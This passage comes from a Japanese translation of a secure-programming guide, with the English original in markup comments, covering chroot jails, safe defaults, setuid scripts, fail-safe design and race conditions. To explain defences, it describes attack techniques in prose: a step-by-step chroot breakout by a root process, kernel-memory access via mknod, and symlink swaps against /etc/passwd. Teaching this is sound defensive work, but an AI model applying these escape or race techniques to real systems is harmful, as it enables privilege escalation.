シェルを置くのはできるだけ避けてください。そうしても役に立たない時もあります
が)。
/etc/passwd や /etc/group が必要になるかもしれません。そうしておけば、
ファイルを一覧すると正しい名前が表示されます。しかしそうするなら、システム上
の本当の値を入れないようにし、パスワードすべてを必ず「*」に置き換えてください。
</para>

<para>
<!--
In /lib, place only what you need; use ldd(1) to query each program in /bin
to find out what it needs, and only include them.
On Linux, you'll probably need a few basic libraries like ld-linux.so.2, and
not much else.
Alternatively, recompile any necessary programs to be statically linked,
so that they
don't need dynamically loaded libraries at all.
-->
/lib には必要なものだけ置いてください。ldd(1) を使って /bin にあるプログラム
が何を必要としているのかを見つけ出してください。そして必要なものだけを
入れてください。
Linux では、ld-linux.so.2 のような基本的ライブラリいくつかと、あといくつかの
ライブラリがおそらく必要になるでしょう。
その一方、欠くことのできないプログラムは静的にリンクして再コンパイルして
ください。そうすれば、動的にロードするライブラリがまったく必要なくなります。
</para>

<para>
<!--
It's usually wiser to completely copy in all files, instead of making
hard links; while this wastes some time and disk space, it makes it so that
attacks on the chroot jail files do not automatically propagate into the
regular system's files.
Mounting a /proc filesystem, on systems where this is supported, is
generally unwise. In fact, in very old versions of Linux (versions 2.0.x,
at least up through 2.0.38) it's a
known security flaw, since there are pseudo-directories in /proc that
would permit a chroot'ed program to escape.
Linux kernel 2.2 fixed this known problem, but there may be others; if
possible, don't do it.
-->
普通はすべてのファイルをすっかりコピーする方が、ハードリンクをはるよりも賢明
な方法です。ディスク領域を食ってしまいますが、chroot jail ファイルに対する
攻撃が、自動的に正規のシステムファイルに伝搬しません。
/proc ファイルシステムをサポートしているシステムで /proc をマウントするのは
賢明ではありません。実際とても古いバージョンの Linux(バージョン 2.0.x で
少なくとも 2.0.38)では、これは既知のセキュリティ上の欠陥になっており、/proc 
にある擬似ディレクトリを利用して chrootしているプログラムが chroot を抜け出せ
ます。
Linux カーネル 2.2 ではこの既知の問題は解決していますが、他にも何かあるかも
しれませんので、できるだけそうしないでください。
</para>

</listitem>
<listitem>

<para>
<!--
Chroot really isn't effective if 
the program can acquire root privilege.
For example, the program could use calls like mknod(2) to create a device
file that can view physical memory, and then use the resulting
device file to modify kernel memory to give itself
whatever privileges it desired.
Another example of how a root program can break out of chroot
is demonstrated at
<ulink
url="http://www.suid.edu/source/breakchroot.c">http://www.suid.edu/source/breakchroot.c</ulink>.
In this example, the program opens a file descriptor for
the current directory, creates and chroots into a subdirectory, sets
the current directory to the previously-opened current directory,
repeatedly cd's up from the current directory (which since it is
outside the current chroot succeeds in moving up to the real filesystem
root), and then calls chroot on the result.
By the time you read this, these weaknesses may have been plugged,
but the reality is that root privilege has traditionally meant ``all
privileges'' and it's hard to strip them away.
It's better to assume that a program requiring continuous root privileges
will only be mildly helped using chroot().
Of course, you may be able to break your program into parts, so that
at least part of it can be in a chroot jail.
-->
プログラムが root の特権を獲得できてしまうと、chroot は効果がなくなって
しまいます。
たとえば、プログラムが mknod(2)のような関数を呼び出すと、物理メモリが見られる
デバイス・ファイルを作成できてしまいます。こうなってしまうと、カーネルメモリを
いじってプログラムに望みの特権を与えられます。
root の特権を持ったプログラムが、chroot を抜け出してしまう他の例を
<ulink
url="http://www.suid.edu/source/breakchroot.c">http://www.suid.edu/source/breakchroot.c</ulink>
で例示しています。
ここの例を挙げてみます。プログラムがあるファイルディスクリプタをカレント
ディレクトリ用にオープンします。サブディレクトリを作り、そこに chroot します。
カレントディレクトリに先程オープンしたカレントディレクトリを設定します。再び
カレントディレクトリから上位ディレクトリに cd します(こうすると、現状の chroot 
の外に出て、実際のファイルシステムの root に移動してしまいます)。そして移動
した先で chroot します。
ここを読むまでに、これらの脆弱性は塞がれているかもしれません。しかし root の
特権は、もともと「特権すべて」を意味しているのは事実で、それを奪い去るのも
困難が伴います。
プログラムが root の特権を継続して必要な場合、chroot()を使用すると少しは
役に立つ、という程度に考えていた方が良いでしょう。
もちろん、プログラムを複数の部分に分けて、少なくともその一部を chroot jail 
に入れられます。
</para>
</listitem>

</itemizedlist>

</para>

</sect2>
<sect2 id="minimize-accessible-data">
<!--
<title>Consider Minimizing the Accessible Data</title>
-->
<title>アクセスできるデータを最小限にすることを検討する</title>

<para>
<!--
Consider minimizing the amount of data that can be accessed by the user.
For example, in CGI scripts, place all data used by the CGI script
outside of the document tree unless there is a reason the user needs to
see the data directly.
Some people have the false notion that, by not publicly providing a
link, no one can access the data, but this is simply not true.
-->
ユーザがアクセスできるデータ量を最小限にすることを検討してください。
たとえば、CGI スクリプトなら、ユーザが直接データを見なければならない理由がない
限り、CGI スクリプトが利用するデータはすべてドキュメントツリーの外に置いて
ください。
リンクを公開していなければ、誰もデータにアクセスできない、と誤解している人も
います。しかしこれは絶対に間違っています。
</para>

</sect2>

<sect2 id="minimize-resources">
<!-- <title>Consider Minimizing the Resources Available</title> -->
<title>利用できるリソースを最小限にすることを検討する</title>
<para>
<!--
Consider minimizing the computer resources available to a given
process so that, even if it ``goes haywire,'' its damage can be limited.
This is a fundamental technique for preventing a denial of service.
For network servers,
a common approach is to set up a separate process for each session,
and for each process limit the amount of CPU time (et cetera) that session
can use.
That way, if an attacker makes a request that chews up memory or uses
100% of the CPU, the limits will kick in and prevent that single session
from interfering with other tasks.
Of course, an attacker can establish many sessions, but this at least
raises the bar for an attack.
See <xref linkend="quotas"> for more information on how to set these limits
(e.g., ulimit(1)).
-->
プロセスが利用できるコンピュータのリソースを最低限にするように配慮して
ください。そうすれば、あるプロセスが「めちゃくちゃ」になってもダメージの範囲
が狭くなります。
これは、サービス拒否攻撃を防ぐのに必須の方法です。
ネットワーク系のサーバでは、それぞれのセッションに対して独立したプロセスを
設定するのが一般的なやり方です。それぞれのプロセスはセッションが使える CPU 
利用時間等の総量に制限をかけます。
こうすれば、攻撃者がメモリを食い潰すような要求をだしたり、CPU を 100% 使い
切ったりしようとしても、制限が働いて単独のセッションが他のタスクに支障を来す
のを防ぎます。
もちろん、攻撃者はたくさんのセッションを張れますが、これは少なくとも攻撃に
とって障害となります。
どのように制限をかけるかについては <xref linkend="quotas"> に詳しい情報が
あります(たとえば、ulimit(1))。
</para>
</sect2>

</sect1>

<sect1 id="minimize-functionality">
<!-- <title>Minimize the Functionality of a Component</title> -->
<title>1 つの構成要素の機能を最小限にする</title>
<para>
<!--
In a related move, minimize the amount of functionality provided by
your component.
If it does several functions, consider breaking its implementation up into
those smaller functions.
That way, users who don't need some functions can disable just those portions.
This is particularly important when a flaw is discovered - this way, users
can disable just one component and still use the other parts.
-->
関連した手だてとして、構成要素が提供する機能の数を最小限にしてください。
構成要素がいくつかの機能を提供しているなら、より小さな機能に分解して実装する
ことを検討してください。
そうすれば、ある機能を必要としないユーザは、必要としない機能だけを無効にでき
ます。
欠陥が見つかった時に、これは特に重要です。この方法を採用すれば、ユーザはたった
1 つの構成要素を無効にするだけで、他は使い続けられるからです。
</para>
</sect1>

<sect1 id="avoid-setuid">
<!-- <title>Avoid Creating Setuid/Setgid Scripts</title> -->
<title>setuid や setgid したスクリプトを使わない</title>
<para>
<!--
Many Unix-like systems, in particular Linux, simply ignore the
setuid and setgid bits on scripts to avoid the race condition
described earlier.
Since support for setuid scripts varies on Unix-like systems,
they're best avoided in new applications where possible.
As a special case, Perl includes a special setup to support setuid Perl
scripts, so using setuid and setgid is acceptable in Perl if you
truly need this kind of functionality.
If you need to support this kind of functionality in your own
interpreter, examine how Perl does this.
Otherwise, a simple approach is to ``wrap'' the script with a small
setuid/setgid executable that creates a safe environment
(e.g., clears and sets environment variables) and then
calls the script (using the script's full path).
Make sure that the script cannot be changed by an attacker!
Shell scripting languages have additional problems, and really should
not be setuid/setgid; see <xref linkend="shell">
for more information about this.
-->
Unix ライクなシステムの多く、特に Linux では、スクリプトに設定してある setuid 
や setgid ビットを無視して、競合状態を避けています。これは先に述べた通りです。
setuid したスクリプトに対する Unix ライクなシステムのサポート具合はまちまち
なので、新しいアプリケーションでは可能な限り避けるのがベストです。
例外として Perl は、特別な設定をほどこすことで、setuid した Perl スクリプト
が実行できるようになります。つまり本当にこの種の機能が必要なら、 Perl を使えば
setuid や setgid を使えるようになります。
この種の機能を自作のインタプリタでサポートする必要があるなら、Perl がどうして
いるのかを調べてみてください。
一方、簡単な方法として、setuid もしくは setgid した小さな実行形式でスクリプト
を「ラップ」し、安全な環境(環境変数をクリアにした上で設定する)を構築して
から、スクリプトを呼び出す方法もあります(スクリプトのフルパスを使って)。
攻撃者がスクリプトを絶対変更できないようにしてください。
シェルスクリプト言語にはもっと問題があるので、setuid や setgid をかける
べきではありません。この点の詳しい情報は、<xref linkend="shell"> を見て
ください。
</para>
</sect1>

<sect1 id="safe-configure">
<!-- <title>Configure Safely and Use Safe Defaults</title> -->
<title>設定を安全にし、安全なデフォルトを使用する</title>

<para>
<!--
Configuration is considered to currently be the number one security problem.
Therefore, you should spend some effort to (1) make the initial installation
secure, and (2) make it easy to reconfigure the system while keeping it secure.
-->
現状セキュリティ上で一番問題となるのは、設定にあるとされています。
したがって次の 2 点には労力をかけてください。(1)初期インストールを安全にする
こと。(2)安全を維持しつつ、システムを簡単に再設定できること。
</para>

<para>
<!--
Never have the installation routines install a working ``default'' password.
If you need to install new ``users'', that's fine - just set them up with
an impossible password, leaving time for administrators to set the password
(and leaving the system secure before the password is set).
Administrators will probably install hundreds of packages and almost
certainly forget to set the password - it's likely they won't even know
to set it, if you create a default password.
-->
インストール作業中に、作業用「デフォルト」パスワードを決して設定しないで
ください。
新しい「ユーザ」を設定する必要があるなら、行っても結構です。絶対にわから
ないパスワードを設定して、管理者がパスワードを設定する時間を残しておいて
ください(パスワードを設定する以前もシステムを安全にしておきます)。
管理者はおそらく多数のパッケージをインストールするので、パスワードを設定したか
どうかを十中八九忘れてしまいます。デフォルトのパスワードで作成しても、おそらく
管理者は設定したことさえ知らないかもしれません。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- This has hurt many a system, for example,
Red Hat did this with the ``piranha'' package (it was widely denounced
in April 1999), and Microsoft did this with SQL Server 7.0 when running
in ``mixed mode''. -->
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://slashdot.org/articles/00/08/21/0759251.shtml,
http://www.securityfocus.com/frames/?content=/templates/archive.pike%3Flist%3D1%26date%3D2000-08-15%26msg%3DB9D1827FDF66D111925800805F3102E31E7AAB6E%40RED-MSG-57 -->
</para>

<para>
<!--
A program should have the most restrictive access policy
until the administrator has a chance to configure it.
Please don't create ``sample'' working users or
``allow access to all'' configurations as the starting configuration;
many users just ``install everything'' (installing all available services)
and never get around to configuring many services.
In some cases the program may be able to determine that a more generous
policy is reasonable by depending on the existing authentication system,
for example, an ftp server could legitimately determine that a user who
can log into a user's directory should be allowed to access that user's files.
Be careful with such assumptions, however.
-->
管理者が設定する機会がくるまで、プログラムに対しては、アクセス制限を最大限に
かけるポリシを維持してください。
設定当初に「サンプルにある」作業用ユーザを作ったり、「すべてにアクセスを許す」
設定をしたりしないでください。
現にユーザは「すべてをインストール」(利用できるサービスをすべてインストール)
する場合が多く、そのままサービスの大半を設定しないままにしておきます。
既存の認証システム次第で、もっと緩やかなポリシが適当であるとプログラムが
決めてしまう場合もあります。たとえば ftp サーバでは、ユーザのディレクトリに
ログインできるユーザには、ユーザのファイルにアクセスを許すよう正式に認めて
います。
しかしそのような前提条件には注意を払ってください。
</para>

<para>
<!--
Have installation scripts install a program as safely as possible.
By default, install all files as owned by root or some other
system user and make them unwriteable by others;
this prevents non-root users from installing viruses.
Indeed, it's best to make them unreadable by all but the trusted user.
Allow non-root installation where possible as well, so that users without
root privileges and administrators who do not fully trust the
installer can still use the program.
-->
インストレーション・スクリプトは、できる限り安全にプログラムをインストール
してください。
デフォルトでは、root もしくは他のシステム関連のユーザがオーナーになって
すべてのファイルをインストールし、その他のユーザが書き込めないようにして
います。
これで root 以外のユーザがウイルスをインストールするのを防ぎます。
実際、信頼できるユーザ以外には、読み込みもできないようにするのが最善です。
root 以外のユーザが root と同じ様にインストールができる場所を用意して
ください。そうすれば、root の特権のないユーザやインストーラを信頼しきって
いない管理者でも、そのプログラムを利用できます。
</para>

<para>
<!--
When installing, check to make sure that any assumptions necessary for
security are true.
Some library routines are not safe on some platforms; see the discussion of
this in <xref linkend="call-only-safe">.
If you know which platforms your application will run on, you need not
check their specific attributes, but in that case you should
check to make sure that the program is being installed on only one of
those platforms.
Otherwise, you should require a manual override to install the program,
because you don't know if the result will be secure.
-->
インストールする時には、セキュリティに必須の前提がなんであっても、それが
正しいかどうか必ずチェックしてください。
ライブラリのルーチンには、あるプラットフォームで安全ではないものがあります。
この点については、<xref linkend="call-only-safe"> の議論を見てください。
複数のプラットフォームでアプリケーションが動作するのがわかっているなら、
プラットフォーム特有の属性をチェックする必要はありません。しかし、複数の
プラットフォームのどれか 1 つにだけプログラムをインストールするなら、必ず
チェックする必要があります。
さもなければ、プログラムをインストールするのにマニュアルで無効にする必要が
あるはずです。なぜなら、インストールした結果が安全かどうかがわからないから
です。
</para>

<para>
<!--
Try to make configuration as easy and clear as possible, including
post-installation configuration.
Make using the ``secure'' approach as easy as possible, or many users
will use an insecure approach without understanding the risks.
On Linux,
take advantage of tools like linuxconf, so that users can easily configure
their system using an existing infrastructure.
-->
設定はインストール後の設定も含めて、できるだけ簡単明瞭にできるようにして
ください。
できるだけ「安全な」方法を使うようにしてください。さもないと、ユーザの
多くは、リスクを理解せずに安全でない手段を選んでしまうでしょう。
Linux では linuxconf のような便利なツールがあり、ユーザが既存の構成を利用して
簡単にシステムを設定できます。
</para>

<para>
<!--
If there's a configuration language, the default should be to deny access
until the user specifically grants it.
Include many clear comments in the sample configuration file, if there is one,
so the administrator understands what the configuration does.
-->
設定用言語があるなら、ユーザが特別に許可しない限りデフォルトではアクセスを
拒否してください。
サンプルの設定ファイルには、解りやすいコメントをたくさん入れてください。
それがあれば、管理者は設定が何であるのか理解します。
</para>

</sect1>


<sect1 id="init-safe">
<!-- <title>Load Initialization Values Safely</title> -->
<title>初期値を安全にロードする</title>

<para>
<!--
Many programs read an initialization file to allow their defaults to be
configured.
You must ensure that an attacker can't change which initialization file
is used, nor create or modify that file.
Often you should <emphasis>not</emphasis> use the current directory
as a source of this information, since if the program is used as an
editor or browser, the user may be viewing the directory controlled
by someone else.
-->
プログラムの多くは、初期化ファイルを読んでデフォルトの設定ができます。
攻撃者が使用する初期化ファイルの変更、作成、修正を絶対できないようにして
ください。
カレントディレクトリを初期化ファイルの情報源にするべきでは<emphasis>
ありません</emphasis>。エディタやブラウザとしてプログラムを利用した
なら、別の誰かがコントロールしているディレクトリをユーザが見てしまうかも
しれないからです。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Joe had this problem: http://lwn.net/2001/0301/a/sec-joe.php3 -->
<!--
Instead, if the program is a typical user application, you should load
any user defaults from a hidden file or directory contained in the user's
home directory.
If the program is setuid/setgid, don't read any file controlled by the
user unless you carefully filter it as an untrusted (potentially
hostile) input.
Trusted configuration values should be loaded from somewhere else
entirely (typically from a file in /etc).
-->
そうではなく、プログラムが普通のユーザアプリケーションなら、ユーザのデフォルト
の設定は、そのユーザのホームディレクトリに、隠しファイルやディレクトリとして
置いてください。
そのプログラムが setuid や setgid してあるなら、ユーザがコントロールしている
ファイルを信頼できない(悪意を持っているかもしれない)入力として慎重にフィルタを
かけない限り、そのファイルを読んではいけません。
信頼できる設定値は、まったくどこか違ったところから(普通は /etc 下のファイル
から)ロードしてください。
</para>
</sect1>


<sect1 id="fail-safe">
<!-- <title>Fail Safe</title> -->
<title>フェイル・セーフ</title>

<para>
<!--
A secure program should always ``fail safe'', that is,
it should be designed so that if the program does fail, the safest
result should occur.
For security-critical programs, that usually means that
if some sort of misbehavior is detected (malformed input,
reaching a ``can't get here'' state, and so on), then the program
should immediately deny service and stop processing that request.
Don't try to ``figure out what the user wanted'': just deny the service.
Sometimes this can decrease reliability or useability
(from a user's perspective), but it increases security.
There are a few cases where this might not be desired (e.g., where denial of
service is much worse than loss of confidentiality or integrity), but
such cases are quite rare.
-->
安全が必要なプログラムは、いつも「フェイル・セーフ」にしてください。つまり、
プログラムが正しく動作しなくなっても、一番安全な結果に落ち着くように設計して
ください。
セキュリティに敏感なプログラムは、何らかの間違った動作を検知したなら
(異常な入力や「起こり得ない」状態になる等)、プログラムはすぐにサービスを拒否
し、要求を処理するのを止めてください。
「ユーザが意図することを探り出そう」等は、しないでください。ただサービス
を拒否してください。
こうすると、時として信頼性や使い勝手が悪くなるかもしれません(ユーザの立場
からすると)。しかし安全性は高まります。
わずかですがこうしたくない場合もあります(たとえば、サービス拒否が守秘義務
や保全性を失うよりも悪いケース)。しかしそれは非常にまれです。
</para>

<para>
<!--
Note that I recommend ``stop processing the request'', not ``fail altogether''.
In particular, most servers should not completely halt when given malformed
input, because that creates a trivial opportunity for a denial of service
attack (the attacker just sends garbage bits to prevent you from using the
service).
Sometimes taking the whole server down is necessary, in particular,
reaching some ``can't get here'' states may signal a problem so drastic
that continuing is unwise.
-->
私は「いっしょくたに機能しなくなる」ではなく、「その要求の処理を止める」こと
を推奨している点に注意してください。
特に、大部分のサーバは、悪意ある入力があっても完全に停止すべきではありません。
完全に停止してしまうと、ちょっとしたことでサービス拒否攻撃が可能になるから
です(攻撃者は不要なビットを送るだけで、サービスを使えなくしてしまいます)。
サーバ全体を落とす必要がでてくる場合もあります。特に「そうはならない」状態
は、問題が発生する兆候なので、とりあえず継続し続けるのは賢い方法とは言えません。
</para>

<para>
<!--
Consider carefully what error message you send back when a failure is detected.
if you send nothing
back, it may be hard to diagnose problems, but sending back too much
information may unintentionally aid an attacker.
Usually the best approach is to reply with ``access denied'' or
``miscellaneous error encountered'' and then
write more detailed information to an audit log (where you can have more
control over who sees the information).
-->
不成功を検知した場合は、返って来るエラーメッセージを何にするかを慎重に検討
してください。
何も返してこないと問題を診断するのが困難になりますし、逆に、過剰な情報は攻撃者
を結果的に助けることになるかもしれません。
一般に適切なのは、「access denied」や「miscellaneous error encountered」
を返して、より詳細な情報を監査ログ(その情報を見る人をコントロールできる場所
にある)に書く方法です。
</para>

</sect1>

<sect1 id="avoid-race">
<!-- <title>Avoid Race Conditions</title> -->
<title>競合状態を避ける</title>

<para>
<!--
A ``race condition'' can be defined as
``Anomalous behavior due to unexpected critical dependence
on the relative timing of events''
[FOLDOC].
Race conditions generally involve one or more processes
accessing a shared resource (such a file or variable), where this
multiple access has not been properly controlled.
-->
「競合状態」は次のように定義されています。
「イベント同士が動作する相対的なタイミングが、思いもよらない依存関係に
陥ってしまった危険な動作状態」
[FOLDOC]。
競合状態は通常、1 つ以上のプロセスが共有リソース(ファイルや変数等)にアクセス
する時に伴う現象で、複数のアクセスを適切に制御できなくなります。
</para>
<para>
<!--
In general, processes do not execute atomically;
another process may interrupt it between essentially any two instructions.
If a secure program's process is not prepared for these interruptions,
another process may be able to interfere with the secure program's process.
Any pair of operations in a secure program must still work correctly
if arbitrary amounts of another process's code is executed between them. 
-->
通常プロセスはアトミックには動作しません。別のプロセスは基本的に 2 つの命令間
に割り込みます。
安全が必要となるプログラムのプロセスが、この割り込みに備えていなければ、別の
プロセスが妨害できる可能性がありますん。
安全が必要なプログラムが動いている間に、別プロセスのコードがいくつ動いて、
それがどんな操作の組み合わせであっても、プログラムは正確に動かなければいけ
ません。
</para>

<para>
<!--
Race condition problems can be notionally divided into two categories:
-->
競合状態の問題は、2 つのカテゴリに分類できます。
<itemizedlist>
<listitem><para>
<!--
Interference caused by untrusted processes.
Some security taxonomies call this problem a
``sequence'' or ``non-atomic'' condition.
These are conditions caused by processes running other, different programs,
which ``slip in'' other actions between steps of the secure program.
These other programs might be invoked by an attacker specifically
to cause the problem.
This book will call these sequencing problems.
-->
信頼できないプロセスによる妨害。
セキュリティの分類ではこの問題を「シーケンス」もしくは「非アトミック」状態と
呼んでいます。
これらの状態は、他の異なるプログラムのプロセスが動くことで発生します。
安全なプログラムの命令ステップ間に、他の動作が「忍び込み」ます。
攻撃者がこの問題を引き起こすことを狙って、他のプログラムを実行したのかも
しれません。
このドキュメントではこれらをシーケンス問題と呼びます。
</para></listitem>
<listitem><para>
<!--
Interference caused by trusted processes (from the secure program's
point of view).
Some taxonomies call these deadlock, livelock, or locking failure conditions.
These are conditions caused by processes running the ``same'' program.
Since these different processes may have the ``same'' privileges, if
not properly controlled they may be able to interfere with each other in
a way other programs can't.
Sometimes this kind of interference can be exploited.
This book will call these locking problems.
-->
信頼されたプロセスによる妨害(安全なプログラムの観点から)。
セキュリティ上の分類では、デッドロックやライブロック、ロック失敗状態と
呼びます。
この状態は「同じような」プログラムのプロセスが動くことで発生します。
それぞれのプロセスは「同じような」特権を持っているので、正しく制御して
いないとお互いに干渉し合って他のプログラムが実行できなくなってしまうかも
しれません。
この種の干渉が時として攻撃に利用されます。
このドキュメントではこれらをロック問題と呼びます。
</para></listitem>
</itemizedlist>
</para>


<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://webreview.com/wr/pub/97/08/08/bookshelf  Suggested
     this kind of division:

Sequence conditions: Be aware that your program does not
execute atomatically. That is, the program can be interrupted
between any two operations to let another program run for a
while-including one that is trying to abuse yours. Thus, check
your code carefully for any pair of operations that might fail if
arbitrary code is executed between them. 

Deadlock conditions: Remember, more than one copy of your
program may be running at the same time. Use file locking for
any files that you modify.
Provide a way to recover the locks in
the event that the program crashes while a lock is held. Avoid
deadlocks or "deadly embraces," which can occur when one
program attempts to lock file A and then file B, while another
program already holds a lock for file B and then attempts to
lock file A. 
-->

<sect2 id="non-atomic">
<!-- <title>Sequencing (Non-Atomic) Problems</title> -->
<title>シーケンス(非アトミック)問題</title>

<para>
<!--
In general,
you must check your code for any pair of operations that might fail if
arbitrary code is executed between them. 
-->
一般的に、任意のコードが 2 つの操作間で実行されると操作の組み合わせによって
機能しなくなるものすべてを、注意深くチェックしなければいけません。
</para>

<para>
<!--
Note that loading and saving a shared variable are usually implemented
as separate operations and are not atomic.
This means that an ``increment variable'' operation is usually converted into
loading, incrementing, and saving operation, so if the variable memory
is shared the other process may interfere with the incrementing.
-->
共有している変数をロードしたりセーブする場合、普通は独立した操作で実行し、
アトミックな操作にはなっていません。
どういうことかと言うと、「増分する変数」の操作は、通常ロードして、増分して、
保存するという操作に置き換えます。したがって、変数のメモリを他のプロセス
と共有していれば、増分の操作に干渉してしまうかもしれません。
</para>

<para>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- ??? Extend this. -->
<!--
Secure programs must determine if a request should be granted, and if
so, act on that request.
There must be no way for an untrusted user to change anything used in
this determination before the program acts on it.
This kind of race condition is sometimes termed a
``time of check - time of use'' (TOCTOU) race condition.
-->
安全が必要なプログラムは、要求を許可すべきなのかを判断し、許可できれば
実行します。
そのプログラムが判断にもとづいて動作する前に、信頼できないユーザがその判断
結果を使って、何かを変更する手段があってはいけません。
この種の競合状態は「チェック時が使用時(time of check - time of use
(TOCTOU))」競合状態と呼ばれる時もあります。
</para>

<sect3 id="atomic-filesystem">
<!-- <title>Atomic Actions in the Filesystem</title> -->
<title>ファイルシステムのアトミックな実行</title>

<para>
<!--
The problem of failing to perform atomic actions
repeatedly comes up in the filesystem.
In general, the filesystem is a shared resource used by many programs,
and some programs may interfere with its use by other programs.
Secure programs should generally avoid using access(2) to determine
if a request should be granted, followed later by open(2), because users
may be able to move files around between these calls, possibly creating
symbolic links or files of their own choosing instead.
A secure program should instead set its effective id or filesystem id,
then make the open call directly.
It's possible to use access(2) securely, but only when a user cannot affect
the file or any directory along its path from the filesystem root.
-->
アトミックな動作の実行が機能しなくなる問題は、ファイルシステムでも度々発生
します。
ファイルシステムというものは、たくさんのプログラムが共有しているリソースです。
プログラムには、他のプログラムがリソースを使うと干渉を受けてしまうものが
あります。
安全が必要なプログラムでは、リクエストが許可されるかどうかの判断に際して 
open(2) に先立って access(2) を実行するのは止めてください。理由は、ユーザが
この呼び出しの間にファイルを移動して、そのかわりに自分で選んだファイルに
シンボリックリンクを張ってしまう恐れがあるからです。
安全が必要なプログラムは、実効 id や ファイルシステム id を設定せずに、直接 
open を呼び出した方が賢明です。
access(2)の安全な使用も可能ですが、それはユーザがそのファイルやファイル
システムのルートからのパスにそったディレクトリに影響を与えられない場合に限り
ます。
</para>

<para>
<!--
When creating a file, you should
open it using the modes O_CREAT | O_EXCL and grant only
very narrow permissions (only to the current user);
you'll also need to prepare for having the open fail.
If you need to be able to open the file (e.g,. to prevent a
denial-of-service), you'll need to repetitively
(1) create a ``random'' filename, (2) open the file as noted,
and (3) stop repeating when the open succeeds.
-->
ファイルを作成する時には、O_CREAT | O_EXCL モードを使ってオープンし、
パーミッションをきつく制限した(現在のユーザに限定した)ものだけを許可
しなければいけません。
また、open が失敗した場合にも備える必要があります。
ファイルを open できる必要があるなら(たとえば、サービス拒否攻撃を防ぐため)、
(1)「ランダム」なファイル名、(2)上記のように開く、(3)open が成功したら繰り返さ
ない、ということを毎時行なわなければなりません。
</para>

<para>
<!--
Ordinary programs can become security weaknesses if they
don't create files properly.
For example, the ``joe'' text editor had a weakness called the
``DEADJOE'' symlink vulnerability.
When joe was exited in a nonstandard way (such as a system crash, closing an
xterm, or a network connection going down), joe would unconditionally append
its open buffers to the file "DEADJOE".
This could be exploited by the
creation of DEADJOE symlinks in directories where root would normally use joe.
In this way, joe could be used to append garbage to
potentially-sensitive files, resulting in a denial of service and/or
unintentional access.
-->
普通のプログラムがファイルをきちんと作成しないと、セキュリティ上の弱点に
なる可能性があります。
たとえば、「joe」というテキストエディタは、「DEADJOE」という、シンボリック
リンクに関する脆弱性を抱えています。
joe をイレギュラーに終了した場合(システムクラッシュや xterm を閉じる、
ネットワーク接続が切れる等)、joe が開いていたバッファを「DEADJOE」と
いうファイルに無条件で追加します。
root が通常 joe を使うディレクトリの中で DEADJOE のシンボリックリンクを作成
するとやられてしまうかもしれません。
こうなると、joe はゴミデータをもしかすると機密事項を含んでいるファイルに追加
するようになって、結果としてサービス拒否になったり、悪意のないアクセスが発生
したりします。

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- This joe issue was noted in various places in the year 2000;
 the note is from the Red Hat vulnerability summary. -->
</para>

<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- From http://java.sun.com/security/seccodeguide.html:
In the same vein, it's often better to use fchmod() and
fchown() instead of chmod(), chown(), and chgrp().
If you close a file and then use chmod() to change the permissions, and
the file or a directory in the directory's path is writeable by another,
an attacker may be able to remove the file and create a symbolic link
to another file (say /etc/passwd, to add/remove interesting values, or
to /dev/zero, to provide an infinitely-long data stream of input to
your program).

From http://webreview.com/wr/pub/97/08/08/bookshelf:
In particular, when you are performing a series of operations on a
file, such as changing its owner, stat ing the file, or changing its
mode, first open the file and then use the fchown( ), fstat( ), or
fchmod( ) system calls. Doing so will prevent the file from being
replaced while your program is running (a possible race condition).
Also avoid the use of the access( ) function to determine your ability
to access a file: using the access( ) function followed by an open( ) is
a race condition, and almost always a bug. 
-->

<para>
<!--
As another example, when performing a series of operations on a file's
meta-information (such as changing its owner, stat-ing the file, or
changing its permission bits), first open the file and then use the
operations on open files.
This means use the fchown( ), fstat( ), or fchmod( ) system calls,
instead of the functions taking filenames
such as chown(), chgrp(), and chmod().
Doing so will prevent the file from being
replaced while your program is running (a possible race condition).
For example, if you close a file and then use chmod()
to change its permissions,
an attacker may be able to move or remove the file between those
two steps and create a symbolic link to another file
(say /etc/passwd).
Other interesting files include /dev/zero, which can
provide an infinitely-long data stream of input to a program; if an
attacker can ``switch'' the file midstream, the results can be dangerous.
-->
他の例として、ファイルのメタ情報をいろいろ操作する作業を行う場合(オーナーの
変更、ファイルの状態確認、パーミッションビットの変更等)、まずファイルを
開いて、開いたファイルに対して操作してください。
つまりこれは、chown()や chgrp()、chmod()のようなファイル名を受けとる関数では
なく、fchown()や fstat()、fchmod()システムコールを使うことを意味しています。
こうすることで、プログラムが動作している間にファイルの置き換わりを防げます
(おそらく競合状態も)。
たとえば、あるファイルを閉じてから、chmod()を使ってパーミッションを変更する
と、攻撃者はその 2 ステップ間にそのファイルを移動もしくは削除し、別のファイル
に対してシンボリックリンクを張ってしまえるかもしれません(たとえば、
/etc/passwd に対して)。
他の興味深いファイルの 1 つとして /dev/zero があります。このファイルは
無限大のデータストリームを入力としてプログラムに渡せます。攻撃者が
途中でファイルを「切り替え」たなら、危険な結末になるやもしれません。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Based on http://java.sun.com/security/seccodeguide.html and
     http://webreview.com/wr/pub/97/08/08/bookshelf: -->
</para>

<para>
<!--
But even this gets complicated - when creating files, you must give
them as a minimal set of rights as possible, and then change the
rights to be more expansive if you desire.
Generally, this means you need to use umask and/or open's parameters to
limit initial access to just the user and user group.
For example, if you create a file that is initially world-readable, then
try to turn off the ``world readable'' bit, an attacker could try to
open the file while the permission bits said this was okay.
On most Unix-like systems, permissions are only checked on open, so
this would result in an attacker having more privileges than intended.
-->
しかし、さらに面倒なことがあります。ファイルを作成する時は、できるだけ
最低の権限を与えた上で、望むならもっと権限を広げるように変更しなければいけ
ない点です。
一般的には、umask か open 時のパラメタを使って、ユーザやそのユーザのグループ
が最初にアクセスした時に制限をかける必要があります。
たとえば、あるファイルを作成し、最初は誰でも読める状態から「誰でも読める」
ビットを落とそうとすると、攻撃者はパーミッションビットが OK である間に
ファイルを開こうとします。
たいていの Unix ライクなシステムでは、パーミッションは open 時にチェック
されるだけなので、意図したものより高い特権を攻撃者が持つ結果になるかも
しれません。

</para>

<para>
<!--
In general, if multiple users can write to a directory in a Unix-like
system, you'd better have the ``sticky'' bit set on that directory,
and sticky directories had better be implemented.
It's much better to completely avoid the problem, however, and create
directories that only a trusted special process can access
(and then implement that carefully).
